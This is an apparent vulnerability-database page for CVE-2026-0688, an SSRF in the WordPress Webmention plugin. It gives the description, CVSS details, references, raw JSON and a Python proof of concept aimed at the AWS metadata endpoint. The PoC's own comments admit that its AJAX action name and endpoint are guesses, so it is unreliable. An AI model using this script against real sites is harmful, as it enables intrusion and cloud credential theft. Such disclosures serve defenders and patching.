Security Vulnerability Report
中文
CVE-2026-0688 CVSS 6.4 MEDIUM

CVE-2026-0688

Published: 2026-04-02 08:16:28
Last Modified: 2026-04-27 19:04:23

Description

The Webmention plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.6.2 via the 'Tools::read' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Webmention Plugin <= 5.6.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 import requests def exploit_ssrf(target_url, attacker_url, wp_cookie): """ Proof of Concept for CVE-2026-0688 Triggers SSRF in WordPress Webmention Plugin via Tools::read. Requires valid Subscriber-level cookies. """ # The vulnerable endpoint is typically part of the plugin's AJAX handling # Assuming the endpoint structure based on plugin behavior endpoint = f"{target_url}/wp-admin/admin-ajax.php" headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } # Payload targeting an internal service or external callback payload = { "action": "webmention_request", # Hypothetical action name "url": attacker_url # Malicious URL (e.g., http://127.0.0.1:80) } try: # Send the request with authentication cookies response = requests.post(endpoint, data=payload, headers=headers, cookies=wp_cookie) if response.status_code == 200: print(f"[+] Request sent to {target_url}.") print(f"[+] Server likely sent a request to: {attacker_url}") print(f"[+] Response Body: {response.text[:100]}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Configuration TARGET = "http://localhost:8000" # Replace with actual target MALICIOUS_URL = "http://169.254.169.254/latest/meta-data/" # Example: AWS Metadata # Cookie string typically looks like "wordpress_logged_in_...=..." # You need to acquire this by logging in as a subscriber COOKIE = {"wordpress_logged_in_xxx": "your_cookie_value_here"} exploit_ssrf(TARGET, MALICIOUS_URL, COOKIE)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0688", "sourceIdentifier": "[email protected]", "published": "2026-04-02T08:16:28.057", "lastModified": "2026-04-27T19:04:22.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Webmention plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.6.2 via the 'Tools::read' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/pfefferle/wordpress-webmention/blob/057223cee18a9e93b017d0f21db6ea77a7686489/includes/class-tools.php#L81", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/webmention/tags/5.6.2/includes/class-tools.php#L81", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3494831/webmention", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/02c9beba-dfa5-4a30-8355-62ff9a2630f7?source=cve", "source": "[email protected]"}]}}